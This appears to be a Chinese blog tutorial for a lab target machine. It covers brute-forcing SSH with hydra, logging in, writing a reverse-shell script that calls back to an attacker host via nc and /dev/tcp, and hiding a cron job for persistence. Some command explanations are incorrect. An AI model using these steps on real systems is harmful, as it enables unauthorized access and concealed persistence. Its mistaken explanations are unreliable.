第一步开启靶机的SSH服务
开启步骤:
- 打开终端并以root用户身份登录 (第二步kali自带SSH服务器的可省略)
- 使用以下命令安装SSH服务器
apt-get update apt-get install openssh-server
- 安装完成后。SSH服务将自动启动。可使用以下命令检查SSH服务的状态
service ssh status
显示0,说明没有开启SSH服务,使用以下命令启动SSH服务
service ssh start
- 查看kali中22号端口(用于SSH服务)是否已经开启,需将root权限下输入以下命令
netstat -tuln | grep 22
看到以上输出说明22号端口已经开启并在监听状态
信息收集
使用攻击机扫描目标主机的端口
nmap 靶机ip地址
发现开启22号端口,尝试爆破
爆破SSH
使用hydra进行爆破
hydra -L users.text -P password.txt -vV ssh://靶机ip地址
- users.txt和password.txt为密码字典
-
hydra是一款强大的密码破解工具,常用于暴力破解各种登录系统的凭据。 -L选项指定用户名字典文件。 -P选项指定密码字典文件。 -v选项是hydra工具的详细模式选项,它会显示详细的输出,包括每个尝试的用户名和密码的结果。 -V选项用于显示hydra工具的版本信息。 ssh://靶机ip地址: 这部分指定了目标SSH服务器的地址。
在kali linux系统中可使用 touch filename.txt 创建 .txt文件,使用 nano filename.txt 打开filename.txt文件并编辑,编辑完成Ctrl+O保存,然后按enter,Ctrl+X退出编辑
通过枚举进行爆破,成功找到密码时字符颜变为绿色
SSH登录
ssh 用户名@靶机ip地址
-
@表示登录在
输入密码成功登录后变为
成功进入后,在靶机上创建隐藏计划任务
尝试创建隐藏计划任务
创建shell反弹脚本:
- 使用vim或nano文本编辑器创建一个新的文本文件reverse_shell.sh
nano reverse_shell.sh vim reverse_shell.sh
- 编写脚本代码:在文本编辑器中输入以下shell脚本代码,该代码用于创建shell连接
#! /bin/bash nc 攻击机ip 攻击者端口 -e /bin/bash #!/bin/bash bash -i >& /dev/tcp/攻击者IP地址/攻击者端口 0>&1
创建完成后
查看文件操作权限
ls -l reverse_shell.sh
-
rw-r--r--意味着root用户只有可读写该文件,其他用户只能读取该文件
使用命令调整操作权限
chmod +x reverse_shell.sh
-
chmod 命令更改文件权限。 +x:此-x是chmod中的一个权限选项,用于添加文件的执行权限,-x用于移除文件的执行权限
执行上述命令后,变为所有用户都具有读、写和执行该文件的权限,而文件的所有者是root用户
成功更改后在靶机上使用 ./reverse_shell.sh运行文件reverse_shell.sh,并在攻击机上另开一个终端使用命令 nc -lvp 端口号(反弹shell脚本中的端口号),监听成功会在终端如下图显示
创建定时任务:
为了维持权限,使用vim或nano文本编辑器创建定时任务task.sh
(crontab -l;printf "* * * * * /reverse_shell.sh;\rno crontw-wab for 'whoami' %100c\n") | crontab -
注意一定要查看文件操作权限,更改为所有用户都可读写的权限后,在靶机上运行该文件。
chmod +x task.sh 是使用命令调整文件操作权限
./task.sh 使用命令启动文件
成功启动文件后,在攻击机上开始监听
尝试nc连接靶机shell
nc -lvp 1229
标签:文件,shell,爆破,sh,SSH,靶机,权限,模拟 From: https://www.cnblogs.com/cheng-yicheng/p/17644856.html